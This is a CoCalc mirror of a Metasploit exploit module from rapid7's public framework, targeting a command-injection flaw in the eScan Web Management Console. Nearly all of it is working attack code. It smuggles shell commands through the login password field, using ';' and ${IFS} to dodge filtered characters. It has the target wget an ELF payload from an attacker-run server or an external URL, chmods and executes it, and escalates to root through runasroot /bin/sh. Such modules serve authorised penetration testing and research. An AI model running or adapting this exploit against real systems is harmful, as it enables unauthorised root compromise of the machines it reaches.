Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/antivirus/escan_password_exec.rb
19535 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Exploit::Remote::HttpServer::HTML
11
include Msf::Exploit::EXE
12
include Msf::Exploit::FileDropper
13
14
def initialize(info = {})
15
super(
16
update_info(
17
info,
18
'Name' => 'eScan Web Management Console Command Injection',
19
'Description' => %q{
20
This module exploits a command injection vulnerability found in the eScan Web Management
21
Console. The vulnerability exists while processing CheckPass login requests. An attacker
22
with a valid username can use a malformed password to execute arbitrary commands. With
23
mwconf privileges, the runasroot utility can be abused to get root privileges. This module
24
has been tested successfully on eScan 5.5-2 on Ubuntu 12.04.
25
},
26
'License' => MSF_LICENSE,
27
'Author' => [
28
'Joxean Koret', # Vulnerability Discovery and PoC
29
'juan vazquez' # Metasploit module
30
],
31
'References' => [
32
[ 'URL', 'http://www.joxeankoret.com/download/breaking_av_software-pdf.tar.gz' ] # Syscan slides by Joxean
33
],
34
'Payload' => {
35
'BadChars' => '', # Real bad chars when injecting: "|&)(!><'\"` ", cause of it we're avoiding ARCH_CMD
36
'DisableNops' => true
37
},
38
'Arch' => ARCH_X86,
39
'Platform' => 'linux',
40
'Privileged' => true,
41
'Stance' => Msf::Exploit::Stance::Aggressive,
42
'Targets' => [
43
['eScan 5.5-2 / Linux', {}],
44
],
45
'DisclosureDate' => '2014-04-04',
46
'DefaultTarget' => 0,
47
'Notes' => {
48
'Stability' => [CRASH_SAFE],
49
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
50
'Reliability' => [REPEATABLE_SESSION]
51
}
52
)
53
)
54
55
register_options(
56
[
57
Opt::RPORT(10080),
58
OptString.new('USERNAME', [ true, 'A valid eScan username' ]),
59
OptString.new('TARGETURI', [true, 'The base path to the eScan Web Administration console', '/']),
60
OptString.new('EXTURL', [ false, 'An alternative host to request the EXE payload from' ]),
61
OptInt.new('HTTPDELAY', [true, 'Time that the HTTP Server will wait for the payload request', 10]),
62
OptString.new('WRITABLEDIR', [ true, 'A directory where we can write files', '/tmp' ]),
63
OptString.new('RUNASROOT', [ true, 'Path to the runasroot binary', '/opt/MicroWorld/sbin/runasroot' ]),
64
]
65
)
66
end
67
68
def check
69
res = send_request_cgi({
70
'method' => 'GET',
71
'uri' => normalize_uri(target_uri.path.to_s, 'index.php')
72
})
73
74
if res && (res.code == 200) && res.body =~ (/eScan WebAdmin/)
75
return Exploit::CheckCode::Detected
76
end
77
78
Exploit::CheckCode::Unknown
79
end
80
81
def cmd_exec(session, cmd)
82
case session.type
83
when /meterpreter/
84
print_warning('Use a shell payload in order to get root!')
85
when /shell/
86
o = session.shell_command_token(cmd)
87
o.chomp! if o
88
end
89
return '' if o.nil?
90
91
return o
92
end
93
94
# Escalating privileges here because runasroot only can't be executed by
95
# mwconf uid (196).
96
def on_new_session(session)
97
cmd_exec(session, "#{datastore['RUNASROOT'].shellescape} /bin/sh")
98
super
99
end
100
101
def primer
102
@payload_url = get_uri
103
wget_payload
104
end
105
106
def on_request_uri(cli, request)
107
print_status("Request: #{request.uri}")
108
if request.uri =~ /#{Regexp.escape(get_resource)}/
109
print_status('Sending payload...')
110
send_response(cli, @pl)
111
end
112
end
113
114
def autofilter
115
true
116
end
117
118
def exploit
119
@pl = generate_payload_exe
120
121
@payload_url = ''
122
123
if datastore['EXTURL'].blank?
124
begin
125
Timeout.timeout(datastore['HTTPDELAY']) { super }
126
rescue Timeout::Error => e
127
vprint_error(e.message)
128
end
129
else
130
@payload_url = datastore['EXTURL']
131
wget_payload
132
end
133
exec_payload
134
end
135
136
# we execute in this way, instead of an ARCH_CMD
137
# payload because real badchars are: |&)(!><'"`[space]
138
def wget_payload
139
@dropped_elf = rand_text_alpha(rand(3..7))
140
command = "wget${IFS}#{@payload_url}${IFS}-O${IFS}#{File.join(datastore['WRITABLEDIR'], @dropped_elf)}"
141
142
print_status('Downloading the payload to the target machine...')
143
res = exec_command(command)
144
if res && res.code == 302 && res.headers['Location'] && res.headers['Location'] =~ /index\.php\?err_msg=password/
145
register_files_for_cleanup(File.join(datastore['WRITABLEDIR'], @dropped_elf))
146
else
147
fail_with(Failure::Unknown, "#{peer} - Failed to download the payload to the target")
148
end
149
end
150
151
def exec_payload
152
command = "chmod${IFS}777${IFS}#{File.join(datastore['WRITABLEDIR'], @dropped_elf)};"
153
command << File.join(datastore['WRITABLEDIR'], @dropped_elf)
154
155
print_status('Executing the payload...')
156
exec_command(command, 1)
157
end
158
159
def exec_command(command, timeout = 20)
160
send_request_cgi({
161
'method' => 'POST',
162
'uri' => normalize_uri(target_uri.path.to_s, 'login.php'),
163
'vars_post' => {
164
'uname' => datastore['USERNAME'],
165
'pass' => ";#{command}",
166
'product_name' => 'escan',
167
'language' => 'English',
168
'login' => 'Login'
169
}
170
}, timeout)
171
end
172
end
173
174